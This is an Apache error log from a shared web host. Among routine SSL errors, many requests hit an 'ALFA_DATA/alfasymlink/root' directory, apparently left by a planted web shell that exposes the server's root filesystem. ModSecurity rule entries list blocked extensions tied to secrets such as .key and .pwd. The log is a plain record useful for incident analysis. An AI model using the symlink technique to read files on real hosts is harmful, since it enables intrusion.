[Sat Oct 24 11:55:11.906730 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.193.102.198:57613] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:15.777013 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 18.215.77.19:44964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/uevent
[Sat Oct 24 11:55:23.878593 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.194.14.255:15866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:35.891240 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 34.234.197.175:46236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input4/device/drvctl
[Sat Oct 24 11:55:39.948111 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.216.227.216:25455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:43.285343 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.195:35092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/free_calls
[Sat Oct 24 11:55:43.821606 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.133.214:10305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:48.554007 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.81.253.213:51028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:51.717298 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.83.240.58:2569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:03.944291 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.0.41.164:59679] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:12.072670 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.220.2.97:31693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:15.633263 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.231.156.59:29044] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:28.270047 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.235.191.179:3595] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:32.177795 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 23.23.214.190:18460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:35.719458 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 184.73.239.35:27086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:39.891339 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.54.157.23:7406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:43.721754 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 107.23.62.75:61333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:48.850936 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 185.191.171.3:20202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:51.980681 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.44.229.124:21651] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:56:55.902533 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 98.83.177.42:54282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:00.175245 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.2.191.202:61483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:11.736299 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 18.213.240.226:22987] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:19.830474 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.215.77.19:59261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:22.042710 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 185.191.171.7:19394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/ctor
[Sat Oct 24 11:57:27.669853 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.215.210.112:38468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:31.732444 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.234.206.30:61398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:35.790680 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 35.170.205.140:57530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:47.544817 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.224.215.150:34743] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:55.684780 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.236.41.241:25956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:57:58.015408 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.13:14948] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/sanity_checks
[Sat Oct 24 11:57:59.658947 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.216.227.216:53361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:03.494433 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.4.229.9:11252] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:07.610780 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 98.82.107.102:39742] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:11.481386 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.217.82.254:34711] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:15.491597 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 107.20.181.148:46606] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:19.691109 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.206.193.60:10046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:23.649564 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.213.46.222:23664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:31.376421 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.193.102.198:42691] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:35.434284 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.1.106.130:7280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/serial/unbind
[Sat Oct 24 11:58:39.420905 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 50.16.216.166:14246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:51.086827 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 195.178.110.103:31758] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 11:58:51.563059 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.86.59.155:61566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:52.391687 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 195.178.110.103:31758] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 11:58:52.398829 2026] [proxy_fcgi:error] [pid 2661974:tid 2661974] [client 195.178.110.103:31768] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 11:58:52.688321 2026] [proxy_fcgi:error] [pid 2661974:tid 2661974] [client 195.178.110.103:31768] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 11:58:53.996816 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 195.178.110.103:31758] AH01071: Got error 'Primary script unknown', referer: http://diag1.sherwinpinturas.com/wp-links-opml.php
[Sat Oct 24 11:58:55.777507 2026] [proxy_fcgi:error] [pid 2661974:tid 2661974] [client 195.178.110.103:31768] AH01071: Got error 'Primary script unknown', referer: http://diag2.sherwinpinturas.com/wp-links-opml.php
[Sat Oct 24 11:58:56.018792 2026] [ssl:error] [pid 2661978:tid 2661978] (5)Input/output error: [client 54.85.126.86:27712] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:58:59.375572 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.221.222.168:50324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:03.289725 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.235.191.179:39695] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:07.315325 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 50.16.248.61:16644] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:11.492315 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 184.72.84.154:41350] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:15.389212 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 35.171.117.160:48271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/rescan
[Sat Oct 24 11:59:27.270206 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.195.248.30:52918] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:31.353975 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.204.37.237:41389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:35.158245 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 44.221.180.179:57479] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:19/eject
[Sat Oct 24 11:59:39.260241 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.220.148.166:14952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:40.420544 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.201:65256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/usersize
[Sat Oct 24 11:59:43.196346 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.85.7.119:19076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:59:51.175801 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 35.173.18.61:50290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:03.744867 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 34.225.138.57:3860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/uevent
[Sat Oct 24 12:00:07.110408 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.210.155.69:27320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:11.063003 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.195.145.102:59305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:19.180395 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.80.185.200:39249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:23.163539 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 50.16.216.166:15237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:27.132059 2026] [ssl:error] [pid 2653819:tid 2653819] (5)Input/output error: [client 34.199.252.22:20349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:31.104976 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 184.73.167.217:37745] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:32.201735 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 85.208.96.212:54330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/sanity_checks
[Sat Oct 24 12:00:34.867942 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.91.122.193:29906] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:42.831804 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.133.214:60925] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:46.816935 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.94.156.104:38595] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:00:50.789424 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 3.90.73.206:58247] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/resource4
[Sat Oct 24 12:00:58.830346 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.213.46.222:29409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:02.754971 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.204.12.115:16362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:10.939641 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.194.14.255:57502] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:17.138310 2026] [proxy_fcgi:error] [pid 2653819:tid 2653819] [client 195.178.110.103:60728] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:01:17.810195 2026] [proxy_fcgi:error] [pid 2653819:tid 2653819] [client 195.178.110.103:60728] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:01:18.663785 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.213.85.234:7609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:19.779673 2026] [proxy_fcgi:error] [pid 2635677:tid 2635677] [client 195.178.110.103:60738] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:01:20.072964 2026] [proxy_fcgi:error] [pid 2635677:tid 2635677] [client 195.178.110.103:60738] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:01:22.470040 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.205.74.196:4292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:23.153804 2026] [proxy_fcgi:error] [pid 2653819:tid 2653819] [client 195.178.110.103:60728] AH01071: Got error 'Primary script unknown', referer: http://diag2.sherwinpinturas.com/wp-links-opml.php
[Sat Oct 24 12:01:25.109186 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.210:56112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objs_per_slab
[Sat Oct 24 12:01:25.754020 2026] [proxy_fcgi:error] [pid 2635677:tid 2635677] [client 195.178.110.103:60738] AH01071: Got error 'Primary script unknown', referer: http://diag1.sherwinpinturas.com/wp-links-opml.php
[Sat Oct 24 12:01:30.390415 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.204.12.115:11946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:42.563532 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.54.95.127:18273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:46.919868 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.7.13.143:49222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:01:54.201611 2026] [authz_core:error] [pid 2653683:tid 2653683] [client 82.47.0.56:47676] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 12:01:58.226846 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 100.29.34.97:8714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:10.326137 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.215.221.125:41895] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:17.723469 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.8:18816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/shrink
[Sat Oct 24 12:02:18.286763 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 35.173.38.202:18296] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:34.211341 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.0.218.219:44661] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:42.155704 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.204.62.163:34681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:46.185741 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.236.41.241:50130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:54.174836 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.194.226.74:35047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:02:58.222832 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.205.180.155:23731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:03:06.375670 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.156.124.2:12481] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:03:22.479989 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.204.62.163:30520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:03:26.256699 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 100.28.133.214:33326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:03:34.163646 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 23.20.178.124:64996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:03.0/driver/new_id
[Sat Oct 24 12:03:36.854180 2026] [core:crit] [pid 2635677:tid 2635677] (13)Permission denied: [client 167.94.146.48:46540] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 12:03:37.276144 2026] [authz_core:error] [pid 2653683:tid 2653683] [client 167.94.146.48:46558] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 12:03:37.836138 2026] [core:crit] [pid 2627273:tid 2627273] (13)Permission denied: [client 167.94.146.48:46562] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 12:03:38.206066 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 54.84.102.81:56732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource4
[Sat Oct 24 12:03:46.078676 2026] [authz_core:error] [pid 2661979:tid 2661979] [client 167.94.146.48:46648] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 12:03:54.156947 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.200.142.199:47487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:03:58.234976 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.212.86.97:33775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:06.398103 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.205.222.214:21712] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:14.170327 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 44.207.207.36:56545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/pci-stub/uevent
[Sat Oct 24 12:04:30.156773 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.206.212.24:7149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:38.215060 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.227.180.70:3918] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:42.196884 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.83.180.239:20800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:46.885781 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 85.208.96.194:20418] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:50.168424 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.45.194.165:36251] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:04:51.687838 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.195:19642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/validate
[Sat Oct 24 12:04:54.264441 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 44.212.232.231:6961] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/uevent
[Sat Oct 24 12:04:58.165699 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.206.93.215:26162] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:02.188798 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.204.150.196:29283] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:10.216529 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 44.193.102.198:6281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/vmd/new_id
[Sat Oct 24 12:05:14.272561 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.221.50.71:36439] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:16.791169 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 85.208.96.198:19460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/cpu_partial
[Sat Oct 24 12:05:18.172469 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.209.100.30:65267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:25.910156 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.13:20168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:27.861254 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 185.191.171.13:20176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:30.223112 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.209.201.119:44063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:38.148197 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 100.28.118.16:26297] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/firmware_node/physical_node/resource1
[Sat Oct 24 12:05:46.215195 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 100.28.57.133:41932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:54.249609 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.239.85.139:29581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:05:56.132732 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.210:35506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_partial
[Sat Oct 24 12:05:58.272745 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.94.157.25:53188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:06:06.273696 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.157.99.244:46839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:06:18.215028 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.21.62.139:33386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:06:25.745670 2026] [security2:error] [pid 2653819:tid 2653819] [client 85.208.96.195:50338] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/Linux-ppc64.conf"] [unique_id "atzXgdFqpkZ9T6kfBCn_rgAAAAA"]
[Sat Oct 24 12:06:25.746168 2026] [security2:error] [pid 2653819:tid 2653819] [client 85.208.96.195:50338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/Linux-ppc64.conf"] [unique_id "atzXgdFqpkZ9T6kfBCn_rgAAAAA"]
[Sat Oct 24 12:06:25.746624 2026] [security2:error] [pid 2653819:tid 2653819] [client 85.208.96.195:50338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/Linux-ppc64.conf"] [unique_id "atzXgdFqpkZ9T6kfBCn_rgAAAAA"]
[Sat Oct 24 12:06:34.316673 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.223.134.5:29050] AH02013: coalesce failed to read from data bucket
